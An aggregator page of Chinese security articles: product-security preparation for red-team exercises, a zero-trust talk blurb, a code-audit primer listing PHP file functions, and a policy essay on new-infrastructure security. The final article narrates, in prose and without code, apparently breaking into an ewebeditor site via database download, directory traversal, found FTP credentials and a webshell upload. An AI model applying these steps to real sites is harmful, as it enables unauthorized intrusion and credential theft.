负责着公司安全产品的自身安全,心里有好多话想说。至于后来,一切归咎于平淡,安全人接受了安全产品存在漏洞的事实,甚至因为漏洞被攻破也能理解。前者是因为专业性,后者多半是由于每年渐变的得分规则。(红军不丢分就是打胜仗;到不丢分不代表胜利,要反制才能加分,要抓到0day才能赢)关于安全产品,最想分享两点:一是,安全公司其实都比较重视产品的安全性,谁也不想在行业里面反向出名,但由于起步晚,有的产品自身安全做的确实差,需要填的坑特别多;二是,hvv前务必按照乙方给的加固手册操作,修改弱口令、减少对外暴露面、集权类严管控制台、开启日志记录、修复已知安全漏洞,很大程度上能够防止被有效攻击。03—安全产品保卫战很多人可能不一定知道,安全公司的hvv办公室下,有一个稍微特别点的队伍--产品安全保驾护航团队,由产线、安全、公关、交付等不同实体部门组成。在攻防演习期间,齐聚应急响应大厅,迎接前线和互联网传来的产品安全相关情报,并在严苛的SLA下进行验证、研判、分析、止血方案、输出补丁、外部公告直至客户侧修复。然而,在这儿之前的备战阶段,类似于hvv防守单位。需要从组织、流程、技术方面,做大量的专项能力提升工作。1 已知漏洞修复专项在备战阶段,要求各产品线修复已知的安全漏洞,来源主要有2类:(1)  在历次安全提测中,未完成修复的高、中、低危漏洞,;(2)   从外部(SRC、CNVD等渠道)接收到的高、中、低危漏洞。在漏洞修复后,须对外输出补丁包或升级包,并出具对应的操作手册。针对漏洞难修复的问题,建立了内部IM群。拉入相关领导进行每天进展公布与同步,极大的推动了漏洞修复工作。2 产品渗透测试专项产品的渗透测试包括:黑盒安全测试、白盒安全测试、仿真环境渗透测试三种。黑白盒想必并不陌生,这里主要介绍仿真环境,即模拟客户的组网(正常部署安全产品),邀请攻击队针对安全产品进行渗透。(安全公司都有攻击队,提前约定好)该部分工作主要是由产品安全团队来负责,但HVV是全公司的头等大事,邀请/协调其他具备漏洞挖掘能力的团队加入,变得十分有必要。3 SRC奖金飞升计划这场大型的攻防演习实战活动,犹如军事比赛一样,军备武器在其中扮演举足轻重的作用。战前不少攻击队就在花钱买其他产品、花钱收0day做储备,产品安全依旧借鉴其思路,在备战期间到结束,设置极具诱惑力的奖金换取产品的安全漏洞。产品分类:对公司的安全产品进行分类,参考维度不限于产品部署位置、是否集权类产品、产品销售量等,区分区ABC类,分类进行奖励;漏洞质量:HVV中比较怕的是前台无条件RCE漏洞,故可以将实现该类效果的漏洞或漏洞组合,提高奖金,真正收到高价值漏洞。由于受产品的版本复杂性影响,可能会遇到漏洞奖金定级时有异议,故加入主流版本或最新版本等条件更加合理。4 产品客户侧安全加固按照公司/产线流程,将安全补丁同步在客户侧修复,以便保证使用中产品的安全性。备战期间的渗透测试与漏洞修复专项工作事关重大,要求各产线直属负责人“亲自部署、亲自落实”。由产品线盯交付团队完成客户侧升级,也会遇到客户不配合、客户难配合等情况。但给客户讲到失分的时候,多数还是愿意配合加固。 5 重点产品开源组件安全结合备战期间互联网上的“热度”漏洞,对安全产品进行排查。通常影响较多的是开源组件相关问题,故有必要开展重要产品的开源组件专项工作,提升产品的自身安全性。6 基础平台安全风险同步迭代排查在处理已知漏洞时,单个产品修复没问题,但涉及到以下情况可能存在隐患:(1)  产品使用存在漏洞的基础平台:基础平台存在漏洞已修复,但未通知使用到的产品线;(2)   产品之前共用代码且触发点不同:产品之间共用代码的现场比较正常,有的会进行二次开发,从而导致存在漏洞的触发点不同。当A产品中共用的代码被发现存在漏洞时,未同步给其他引用相关部分代码的产品。问题的解决关键在于建立产品血缘关系清单、建立漏洞同步机制。一旦产品发现漏洞后,立即同步给相近的产品进行排查。7 客户侧产品控制台暴露面收敛本来不打算分享该条措施,但简单思索之后,认为攻击队肯定也知道这条攻击路径,故还是讲出来吧:利用云测绘等网络空间探查系统,通过搜索关键字的方式针对产品进行搜索,发现管理后台或不应该对外开放的产品页面,输出相关清单并关联用户信息,通知用户进行风险收敛。但有的产品比如VPN需要对公网开放,有的用户全国都有分支机构需要对互联网开放等情况,则可以告知用户通过ACL等控制访问来源从而减小受攻击面。8 产线HW产品安全承诺书签订公司的产品线特别多,为了保证齐心协力进行战斗,拉上产线一把手签署产品安全承诺书,必须要手签才有仪式感,才能达到预期效果。承诺书的内容包括备战阶段的各项安全专项落地情况和决战阶段的应急工作保障。备战阶段,积极开展各项自检/加固工作:包括但不仅限于白盒安全测试、黑盒安全测试、已知漏洞修复、编写加固手册、互联网侧暴露面收敛等措施;决战阶段,做好值班、应急工作,遇到突发情况第一时间响应:如遇到相关产品安全漏洞须立即响应,协助一线人员15min完成取证、30min内完成分析、60min内出具加固方案、在指定时间内推出补丁等。 9 产品安全事件响应团队成立在集团层面建立公司级产品安全事件响应团队(PSIRT,Product Security Incident Response Team),负责接收、处理及公开发布产品和解决方案的安全漏洞信息,协同客户和利益相关方有效合作,解决产品漏洞信息及时同步到用户的问题。这不仅是平时的组织,也是战时经历锤炼的组织。10 HW前产品安全工作要求布置会议在决战前一天,邀请公司高层比如总裁等讲话,对各产品线和相关部门提出应急响应要求,明确处罚内容,从组织上极大的提供了保障。11 供应商产品安全应急响应要求与同步机制为保证客户侧的产品安全,联动、及时、高效解决客户侧发生的问题,安全产品中不乏有OEM in,对于特殊时期的安全应急响要求,应该与公司的一致。在战前,就以邮件+附件(盖公章)等正式的方式,告知并要求供应商全力配合。提供接口人:供应商提供2名主备接口人,并保持接口人7*24h手机畅通,一旦发生涉及贵司产品的安全问题,立即响应;建立漏洞上报机制:若供应商的产品发现有安全漏洞,依据1h时限要求进行漏洞上报,上报指定邮箱和联系人;同步漏洞修复机制:若发现供应商产品涉及安全漏洞,将及时反馈给供应商接口人,要求按照以下规定时间进行修复(漏洞等级按照CVSS3.0评分):12 暂时关闭产品软件和使用手册下载通道同样是出于减小攻击面,关闭下载通道。外部人员将不能直接获取产品安装包、补丁等信息,从而不会对其进行研究和漏洞挖掘,一定程度上减少产品的安全风险。产品的补丁信息通过联系客服单独获取,这一点并不与业务需求冲突。04—安全产品展望2020年,通过匹配历史漏洞,顺利通关;2021年,历史漏洞+值班现场代码审计确定漏洞,勉强支撑过来。在未来的几年里,不难预测攻击队的火力依旧猛烈,但产品的自身安全能力也在增长。犹如企业的安全建设一样,安全产品也有一个安全建设周期,随着外部环境和政策的发展,安全水位必将逐步提升。长按识别二维码,和我交流More...技术原理浅析Nmap操作系统探测技术浅析安全漏洞治理漏洞情报调研漏洞调研报告(非完整版)从漏洞视角看敏捷安全SDL最初实践开篇安全培训安全需求安全设计安全开发安全测试安全审核安全响应完结篇(全系列paper下载)基础安全建设基于堡垒机的自动化功能实践1基于堡垒机的自动化功能实践2基于堡垒机的自动化功能实践3基于堡垒机的自动化功能实践4企业安全建设企业安全建设需求企业安全威胁简述企业安全架构建设企业安全项目-测试环境内网化企业安全项目-Github信息泄露企业安全项目-短信验证码安全企业安全项目-前端绕过专项整改业务安全之另类隐患应用发布之安全隐患甲方眼里的安全测试安全漏洞赏析安全运维那些洞安全业务那些洞应急响应:redis挖矿(防御篇)应急响应:redis挖矿(攻击篇)应急响应:redis挖矿(完结篇)渗透测试技巧那个简单的威胁情报Android APP数据存储安全搜集SRC信息中的“技术活儿”常规渗透瓶颈,发散思维突破 一起玩蛇系列python武器库漏洞扫描器资产处理python代码审计武器Ipython代码审计武器IINodejs代码审计武器fortify漏洞的学习途径个人成长体会C3安全峰会参后感提高认知效率秘籍 本文始发于微信公众号(我的安全视界观):浅谈安全产品的hvv安全之道
阅读全文
EISS-2021北京站PPT | 肖寒/某上市公司信息安全负责人(浅谈零信任在传统企业的意义) 云安全

EISS-2021北京站PPT | 肖寒/某上市公司信息安全负责人(浅谈零信任在传统企业的意义)

点击蓝字关注我们关注安世加 (asjeiss)公众号稍后获取授权PPT下载链接2021年5月14日,由安世加主办的“EISS-2021企业信息安全峰会之北京站”在北京诺金酒店成功举办。峰会以”直面信息安全挑战,创造最佳实践案例“为主题,总共吸引了近500位来自各行业的企业安全负责人,安全专家出席。本届峰会是安世加在北京连续举办的第四次峰会,大会由原先下午两个分会场增加至四个,分会场主题分别调整为安全运营专场、数据安全专场、零信任专场、开发安全专场,每个分会场诚邀资深安全负责人担任出品人,议程紧扣行业热点话题,选题方向更加明确,为与会者带来更多具有实践与借鉴意义的干货分享。肖寒企业:某上市公司职位:信息安全负责人某上市制造企业IT及信息安全掌门人,负责企业IT及信息安全的建设、运维和管理工作。十多年信息安全从业经验,多年甲方信息安全管理经验。对信息安全、安全大数据分析、项目管理、运维管理、数据治理、零信任等领域有深刻理解及丰富的落地经验。演讲题目浅谈零信任在传统企业的意义浅谈什么是零信任;制造企业几个安全现状及零信任需求梳理;我面临的问题,相信您也遇到过;从大数据分析看“后置”与“前置”的管理成熟度模型;从甲方角度看,制造企业零信任的第一步,应该怎么走。*声明:以下图片资料经过演讲嘉宾授权,转为图片格式分享,在此仅做为业内学习交流使用。转载及引用请注明出处!如有商业使用需求,请联系安世加与作者进一步沟通。 本文始发于微信公众号(安世加):EISS-2021北京站PPT | 肖寒/某上市公司信息安全负责人(浅谈零信任在传统企业的意义)
阅读全文
浅谈代码审计 代码审计

浅谈代码审计

浅谈代码审计顾名思义 代码审计即"寻找代码中的错误缺点,从而找到安全漏洞"代码审计分为黑盒审计和白盒审计黑盒审计:在一个你一无所知的环境中寻找突破口 发现安全漏洞白盒审计:你能直观的看到整个环境的运作流程(代码) 从代码中发现漏洞一般代码审计都是将白盒与黑盒结合。比如我们找到了某建站系统 想从这个系统内找到漏洞黑盒审计:手工+扫描器 寻找漏洞 (SQL注入、XSS、任意文件上传)白盒审计:审计工具 寻找漏洞 (参数为过滤、文件名过滤不严、命令执行、文件读取)我们需要注意某些函数 跟进函数进行全局审计。PHP常见函数及其功能:basename() 返回路径中的文件名部分。chgrp() 改变文件组。chmod() 改变文件模式。chown() 改变文件所有者。clearstatcache() 清除文件状态缓存。copy() 复制文件。delete() 参见 unlink() 或 unset()。dirname() 返回路径中的目录名称部分。disk_free_space() 返回目录的可用空间。disk_total_space() 返回一个目录的磁盘总容量。diskfreespace() disk_free_space() 的别名。fclose() 关闭打开的文件。feof() 测试文件指针是否到了文件结束的位置。fflush() 向打开的文件输出缓冲内容。fgetc() 从打开的文件中返回字符。fgetcsv() 从打开的文件中解析一行,校验 CSV 字段。fgets() 从打开的文件中返回一行。fgetss() 从打开的文件中读取一行并过滤掉 HTML 和 PHP 标记。file() 把文件读入一个数组中。file_exists() 检查文件或目录是否存在。file_get_contents() 将文件读入字符串。file_put_contents 将字符串写入文件。fileatime() 返回文件的上次访问时间。filectime() 返回文件的上次改变时间。filegroup() 返回文件的组 ID。fileinode() 返回文件的 inode 编号。filemtime() 返回文件的上次修改时间。fileowner() 文件的 user ID (所有者)。fileperms() 返回文件的权限。filesize() 返回文件大小。filetype() 返回文件类型。flock() 锁定或释放文件。fnmatch() 根据指定的模式来匹配文件名或字符串。fopen() 打开一个文件或 URL。fpassthru() 从打开的文件中读数据,直到 EOF,并向输出缓冲写结果。fputcsv() 将行格式化为 CSV 并写入一个打开的文件中。fputs() fwrite() 的别名。fread() 读取打开的文件。fscanf() 根据指定的格式对输入进行解析。fseek() 在打开的文件中定位。fstat() 返回关于一个打开的文件的信息。ftell() 返回文件指针的读/写位置ftruncate() 将文件截断到指定的长度。fwrite() 写入文件。glob() 返回一个包含匹配指定模式的文件名/目录的数组。is_dir() 判断指定的文件名是否是一个目录。is_executable() 判断文件是否可执行。is_file() 判断指定文件是否为常规的文件。is_link() 判断指定的文件是否是连接。is_readable() 判断文件是否可读。is_uploaded_file() 判断文件是否是通过 HTTP POST 上传的。is_writable() 判断文件是否可写。is_writeable() is_writable() 的别名。link() 创建一个硬连接。linkinfo() 返回有关一个硬连接的信息。lstat() 返回关于文件或符号连接的信息。mkdir() 创建目录。move_uploaded_file() 将上传的文件移动到新位置。parse_ini_file() 解析一个配置文件。pathinfo() 返回关于文件路径的信息。pclose() 关闭有 popen() 打开的进程。popen() 打开一个进程。readfile() 读取一个文件,并输出到输出缓冲。readlink()...
阅读全文
专题 | 浅谈“十四五”规划中的新基建布局 云安全

专题 | 浅谈“十四五”规划中的新基建布局

扫码订阅《中国信息安全》杂志权威刊物 重要平台 关键渠道邮发代号 2-786文│ 国家工业信息安全发展研究中心 赵慧 张莹“十四五”规划纲要指出,“十四五”期间,推动高质量发展,必须立足新发展阶段、贯彻新发展理念、构建新发展格局,将“新”贯彻规划始终,以“新”推动我国经济和社会高质量发展。加快新型基础设施建设(以下简称“新基建”)是“新”的重要组成,统筹推进与传统基础设施等建设,共同打造系统完备、高效实用、智能绿色、安全可靠的现代化基础设施体系。与此同时,规划要求坚持国家安全观,统筹发展和安全,将安全发展贯穿国家发展各领域和全过程,这势必要求将安全发展贯穿新基建战略实施全过程,全面加强新基建安全保障体系和能力建设,切实维护新基建安全。一、“十四五”规划中的新基建布局1. 新基建战略在“十四五”规划中得到深化部署2020 年 4 月,国家发改委明确提出新型基础设施概念,并将其分为信息基础设施、融合基础设施和创新基础设施。在“十四五”规划纲要中,有专门一节谋划加快建设新型基础设施,支撑引领我国现代化产业体系构建。其总体目标是围绕数字转型、智能升级、融合创新,布局建设信息基础设施、融合基础设施、创新基础设施等新型基础设施。信息基础设施建设是根基。规划纲要从 5G 网络规模化部署、6G 网络前瞻化布局、IPv6 商用化部署、国际互联扩容、西部地区基础网络完善等基础网络,物联网、大数据、工业互联网、车联网等新技术应用设施,集通信、导航、遥感于一体的空间基础设施等方面,全面建设高速泛在、天地一体、集成互联、安全高效的信息基础设施。融合基础设施建设是增效。规划纲要重点选择交通、能源、市政等数字化转型需求较高的领域,提出加快传统基础设施的数字化改造,利用新一代信息网络技术,建设泛在感知、终端联网、智能调度体系。创新基础设施建设是保障。规划纲要提出了要构建新型基础设施标准体系。2. 新基建效能将在“十四五”时期得到充分释放新基建效能释放将在我国新旧产能转化和产业结构调整优化中发挥重要作用。规划纲要提出,发挥市场主体主导作用,打通新基建多元投资渠道。政府主管部门加大相关政策导向,例如,科技部大力支持建设科技创新中心,工信部实施 5G、工业互联网、人工智能等创新发展,国资委提出加大新基建投资力度等,这将会极大地带动新基建的投资高潮。各省市加速布局新基建。北京出台《加快新型基础设施建设行动方案(2020—2022 年)》,拟建设新型网络、数据智能、生态系统、科创平台、智慧应用、可信安全等 6 大新型基础设施。上海出台《推进新型基础设施建设行动方案(2020—2022 年)》,预计实施重大项目 48 个、总投资约 2700 亿元。吉林出台《新基建“761”工程方案》,计划“十四五”期间实施项目 2188 个,总投资超过 1 万亿元。江苏出台《关于加快新型信息基础设施建设扩大信息消费的若干政策措施》,将加快 5G、大数据中心、新能源汽车充电桩等新型基础设施建设等。二、新基建面临的安全问题1. 新型基础设施正成为网络攻击的新目标新基建根植于信息网络,融合于传统基础设施,在给经济社会发展带来新动能的同时,势必将其自身安全问题及面临的网络安全风险(如漏洞利用、勒索病毒攻击、供应链攻击等)从信息世界带到传统的物理世界。新型基础设施正成为各种力量的网络攻击目标,特别是国家网络战对象。2020 年初,正当我国新冠肺炎疫情暴发之际,“白象”“海莲花”等境外 APT 黑客组织利用特种木马对我国医疗机构进行窃密攻击。近两年,委内瑞拉电力系统频遭网络攻击,导致全国大范围断电进而引发的关键基础设施运行中断。2020 年 12 月,“太阳风”供应链攻击事件导致美国数百个关键部门和机构遭到攻击。美国认为,这是来自俄罗斯的 APT 黑客组织所为。可见,新型基础设施一旦遭遇网络攻击,波及面更广、破坏性更大。2. 新基建网络安全可能会引发经济安全风险在高度数字化的今天,各行各业的数字化、网络化、智能化程度越来越高,各类经济活动生产出大量有价值数据,存储在各个数据中心,对新型基础设施依赖度不断加深。新型基础设施一旦出现网络安全问题,将会给产业和经济发展带来显著影响,可能会引发经济安全风险。一方面,新型基础设施遭受网络攻击,小则导致运行服务中断,大则可能会引发停工停产,造成严重的经济损失。以勒索病毒攻击为例,2018年永恒之蓝病毒致使台积电损失5.85亿人民币。另一方面,各个数据中心承载着国家、社会和个人的海量数据,数据保护不当不仅会造成个人隐私泄露、企业数据被窃、商业知识产权纠纷,而且可能会造成市场不正当竞争和垄断,影响数字经济稳定运行甚至国家经济安全。3. 新基建面临供应链安全管控风险随着 5G、人工智能等新技术和产业全球竞争态势加剧,新基建面临跨境供应链安全管控风险。以美国为代表的西方国家,以国家安全为由,限制外国企业对其信息通信技术领域的影响,通过法案出台、贸易制裁、技术出口管控等手段,加强对信息通信技术供应链管控。美国的《2020 财年国防授权法案》包含限制采购中国产品、加大对中国企业实施出口管制的有关规定。2021 年拜登上台后,再次将华为、中兴等 5 家中国公司列入对美国国家安全构成威胁名单。欧盟发布 5G 网络安全工具箱,建议成员国对5G 网络供应商进行评估,并对高风险供应商进行限制。美欧等国家和地区牢牢控制新基建供应链关键环节和核心技术,限制对我国某些领域对芯片、操作系统、工业软件等产品的供应,在一定程度上影响了我国新基建进程。三、构建新基建安全保障能力的思考1. 将安全发展贯穿于新基建始终坚持总体国家安全观,把安全发展贯穿国家发展各个领域,在新基建领域也不例外。《网络安全法》第三十三条规定,“建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能,并保证安全技术措施同步规划、同步建设、同步使用”。新型基础设施应为关键信息基础设施的重要组成,非完全新生,建议将其纳入关键信息基础设施安全保护体系建设,始终坚持“安全基建”理念,实施“三同步”原则,在创新发展中坚持安全可控,全面构建新基建安全保障能力。2. 加强新基建安全保护能力建设在完善网络安全相关法律法规和制度标准中,充分考虑新基建涉及新技术、新应用产生的安全风险应对。在关键信息基础设施安全保护体系下,结合新基建自身特点,加强新基建关键数据资源、信息网络和重要系统的安全保障。加强新型基础设施网络安全风险评估和审查,落实国家网络安全等级保护要求,提升新型基础设施安全威胁发现、监测预警、应急指挥、攻击溯源能力,强化跨部门、跨领域网络安全信息共享和工作协同机制,开展新基建涉及新技术、新应用安全技术研究和防护体系建设,加强安全人才培养。3. 打造安全可控的新型基础设施中国工程院倪光南院士多次强调,我国面临“缺芯少魂”的局面,工业、通信、能源、交通等新基建领域部分关键元器件、核心零部件和核心技术仍由国外主导,无疑给新基建发展带来严峻供应链风险。在推进新基建进程中,宜立足国内,集中优势资源开展“卡脖子”技术攻关,提升自研自制能力和设备国产化率,发展 5G、6G、超级计算、工业互联网等技术和应用,补齐短板、发展优势能力,加强对供应链产品和服务的安全审查,提升新基建本质安全和自主可控能力,打好新基建安全底座。2021 年是“十四五”开局之年,在有条不紊地推进新基建的落地实施的同时,应将安全作为新基建必不可少的内容,积极推动本地产业体系转型升级和经济增长。(本文刊登于《中国信息安全》杂志2021年第4期)扫码关注我们更多信息安全资讯请关注“中国信息安全” 本文始发于微信公众号(中国信息安全):专题 | 浅谈“十四五”规划中的新基建布局
阅读全文
浅谈目录遍历的作用 安全文章

浅谈目录遍历的作用

 起因闲来无事,逛逛论坛,看看视频,看到一个视频是ewebeditor的编辑器,直接上传大马被拦截了,然后上传了一个图片马绕过的,视频作者说”这是突破post监测拿webshell”–>ps:我想说,只是对文件头进行了检测吧!从eweb下手           1.下载数据库从而获取到了eweb后台账号密码2.登陆后台,样式预览上传马儿前人来过,留下了样式,直接预览上传!半个小时一直卡在这里,哎。。此路不通,遍历目录看看,找到后台也可以突破! 3.遍历目录1>新建一个样式:注意:上传路径要为网站根路径!2>上传文件管理->选中我们新建的样式看遍历目录效果:看到了根目录,比较有亮点的是有个txt,我打开一看!简直亮了,ftp密码,域名解析,服务器密码统统拿到了!探测信息真实性服务器密码错了。ftp可以登录:从ftp直接上传木马,拿到webshell一句话被拦截,那就用大马喽搞定shell(虚拟主机,权限太死没提权)域名解析站点:小结目录遍历这个漏洞有时候很鸡肋,但是也是有很大的作用的,运气好的话,拿到ftp密码,服务器密码也不是不可能~ 本文始发于微信公众号(飓风网络安全):浅谈目录遍历的作用
阅读全文